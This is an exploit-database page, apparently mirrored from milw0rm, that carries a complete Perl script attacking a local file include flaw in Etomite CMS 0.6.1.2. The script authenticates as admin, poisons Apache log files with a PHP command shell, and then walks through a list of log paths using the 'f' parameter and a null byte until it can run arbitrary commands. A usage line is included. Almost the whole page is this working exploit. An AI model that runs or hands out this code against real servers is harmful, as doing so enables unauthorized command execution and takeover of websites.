Lucene search
K

Etomite CMS <= 0.6.1.2 (manager/index.php) Local File Include Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 12 Views

Etomite CMS 0.6.1.2 Local File Include Exploit allows remote command execution via 'f' parameter in manager/index.php. Admin credentials required.

Code

                                                #!/usr/bin/perl -w
#
#   Etomite CMS Remote Command Execution
# Version:  0.6.1.2
#     Url:  http://www.etomite.org
# Author :  Alfredo Pesoli &#39;revenge&#39;
# Description:
#
# Input passed to the &#39;f&#39; parameter in &#34;/manager/index.php&#34; isn&#39;t properly verified before being used in an include function, this can be exploited to include local files on target host or execute command, we need admin credentials to exploit this vuln.
#
# http://www.0xcafebabe.it
# &#60;[email protected]&#62;

use strict;
use IO::Socket;

if ( @ARGV &#60; 5 ) { &usage(); }

my $target   = $ARGV[0];
my $username = $ARGV[1];
my $password = $ARGV[2];
my $path     = $ARGV[3];
my $cmd	     = &#34;&#34;;
my $cookie   = &#34;&#34;;
my $uagent   = &#34;Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.5 (like Gecko) (Debian)&#34;;

for ( my $i=4; $i&#60;=$#ARGV; $i++ ) {
    $cmd.= &#34;+&#34;.$ARGV[$i];
}

$cookie = &authenticate();

&inject_logfile();

&sploit();

sub authenticate() {
    my $res;
    my $tmp;

    print &#34;\n -= Getting auth cookie =-\n\n&#34;;
    my $sock = IO::Socket::INET-&#62;new(Proto=&#62;&#34;tcp&#34;, PeerAddr=&#62;&#34;$target&#34;, PeerPort=&#62;&#34;80&#34;) or die &#34;\n Could not connect to host\n\n&#34;;
    my $req = &#34;rememberme=0&location=&username=&#34;.$username.&#34;&password=&#34;.$password.&#34;&thing=&submit=Login&licenseOK=on&#34;;
    print $sock &#34;POST &#34;.$path.&#34;processors/login.processor.php HTTP/1.1\r\n&#34;;
    print $sock &#34;Host: &#34;.$target.&#34;\r\n&#34;;
    print $sock &#34;User-Agent: &#34;.$uagent.&#34;\r\n&#34;;
    print $sock &#34;Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n&#34;;
    print $sock &#34;Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3\r\n&#34;;
    print $sock &#34;Accept-Encoding: gzip,deflate\r\n&#34;;
    print $sock &#34;Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n&#34;;
    print $sock &#34;Connection: close\r\n&#34;;
    print $sock &#34;Referer: http://&#34;.$target.$path.&#34;index.php\r\n&#34;;
    print $sock &#34;Content-Type: application/x-www-form-urlencoded\r\n&#34;;
    print $sock &#34;Content-Length: &#34;.length($req).&#34;\r\n\r\n&#34;;
    print $sock $req;

    while ( $res = &#60;$sock&#62; ) {
	$tmp.= $res;	
    }
    close($sock);

    my @temp	= split /Cookie:/,$tmp;
    my @cookie	= split /Expires/,$temp[1];

    print &#34; [#] COOKIE: &#34;.$cookie[0].&#34;\n&#34;;
    return $cookie[0];
}

sub inject_logfile() {
    print &#34; -= Injecting log files =- \n&#34;;
    my $mal=&#34;&#60;?php ob_clean();echo lizardking;passthru(\$_GET[cmd]);echo lizardking;?&#62;&#34;;
    my $sock = IO::Socket::INET-&#62;new(Proto=&#62;&#34;tcp&#34;, PeerAddr=&#62;&#34;$target&#34;, PeerPort=&#62;&#34;80&#34;) or die &#34;\n Could not connect to host\n\n&#34;;
    print $sock &#34;GET &#34;.$path.$mal.&#34; HTTP/1.1\r\n&#34;;
    print $sock &#34;User-Agent: &#34;.$uagent.&#34;\r\n&#34;;
    print $sock &#34;Host: &#34;.$target.&#34;\r\n&#34;;
    print $sock &#34;Connection: close\r\n\r\n&#34;;
}

sub sploit() {
    my $res;
    my $tmp;
    my $i;
    
    my @http_paths= (
	&#34;../apache/logs/error.log&#34;,
	&#34;../apache/logs/access.log&#34;,
	&#34;../../apache/logs/error.log&#34;,
	&#34;../../apache/logs/access.log&#34;,
	&#34;../../../apache/logs/error.log&#34;,
	&#34;../../../apache/logs/access.log&#34;,
	&#34;../../../../../../../etc/httpd/logs/acces_log&#34;,
	&#34;../../../../../../../etc/httpd/logs/acces.log&#34;,
	&#34;../../../../../../../etc/httpd/logs/error_log&#34;,
	&#34;../../../../../../../etc/httpd/logs/error.log&#34;,
	&#34;../../../../../../../var/www/logs/access_log&#34;,
	&#34;../../../../../../../var/www/logs/access.log&#34;,
	&#34;../../../../../../../usr/local/apache/logs/access_log&#34;,
	&#34;../../../../../../../usr/local/apache/logs/access.log&#34;,
	&#34;../../../../../../../var/log/apache/access_log&#34;,
	&#34;../../../../../../../var/log/apache2/access_log&#34;,
	&#34;../../../../../../../var/log/apache/access.log&#34;,
	&#34;../../../../../../../var/log/apache2/access.log&#34;,
	&#34;../../../../../../../var/log/access_log&#34;,
	&#34;../../../../../../../var/log/access.log&#34;,
	&#34;../../../../../../../var/www/logs/error_log&#34;,
	&#34;../../../../../../../var/www/logs/error.log&#34;,
	&#34;../../../../../../../usr/local/apache/logs/error_log&#34;,
	&#34;../../../../../../../usr/local/apache/logs/error.log&#34;,
	&#34;../../../../../../../var/log/apache/error_log&#34;,
	&#34;../../../../../../../var/log/apache2/error_log&#34;,
	&#34;../../../../../../../var/log/apache/error.log&#34;,
	&#34;../../../../../../../var/log/apache2/error.log&#34;,
	&#34;../../../../../../../var/log/error_log&#34;,
	&#34;../../../../../../../var/log/error.log&#34;
    );

    for ( $i=0; $i&#60;=$#http_paths; $i++ ) {
	my $sock = IO::Socket::INET-&#62;new(Proto=&#62;&#34;tcp&#34;, PeerAddr=&#62;&#34;$target&#34;, PeerPort=&#62;&#34;80&#34;) or die &#34;\n Could not connect to host\n\n&#34;;
	print $sock &#34;GET &#34;.$path.&#34;index.php?cmd=&#34;.$cmd.&#34;&a=1&f=&#34;.$http_paths[$i].&#34;%00 HTTP/1.1\r\n&#34;;
	print $sock &#34;Host: &#34;.$target.&#34;\r\n&#34;;
	print $sock &#34;Cookie: &#34;.$cookie.&#34;\r\n&#34;;
	print $sock &#34;Connection: close\r\n\r\n&#34;;
	
	while ( $res = &#60;$sock&#62; ) { $tmp.= $res; }
	close($sock);
	
	my @temp = split /lizardking/,$tmp,3;
	
	if ( $#temp &#62; 1 ) {
	    print &#34;\n -= Executing: &#34;.$cmd.&#34; =-\n\n [#] Exploit succedeed\n\n&#34;.$temp[1].&#34;\n&#34;;
	    exit();
	}
    }
    print &#34;Exploit failed\n\n&#34;;
}

sub usage() {
    print &#34;\n Etomite CMS 0.6.1.2 Remote Command Execution\n&#34;;
    print &#34; &#60;revenge\@0xcafebabe.it&#62;\n&#34;;
    print &#34; http://www.0xcafebabe.it\n\n&#34;;
    print &#34;Usage: $0 &#60;target&#62; &#60;username&#62; &#60;password&#62; &#60;directory&#62; &#60;command&#62;\n&#34;;
    print &#34;Example: $0 127.0.0.1 admin ghghgh /etomite/manager/ ls -la /\n\n&#34;;
    exit();
}

# milw0rm.com [2006-11-16]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
12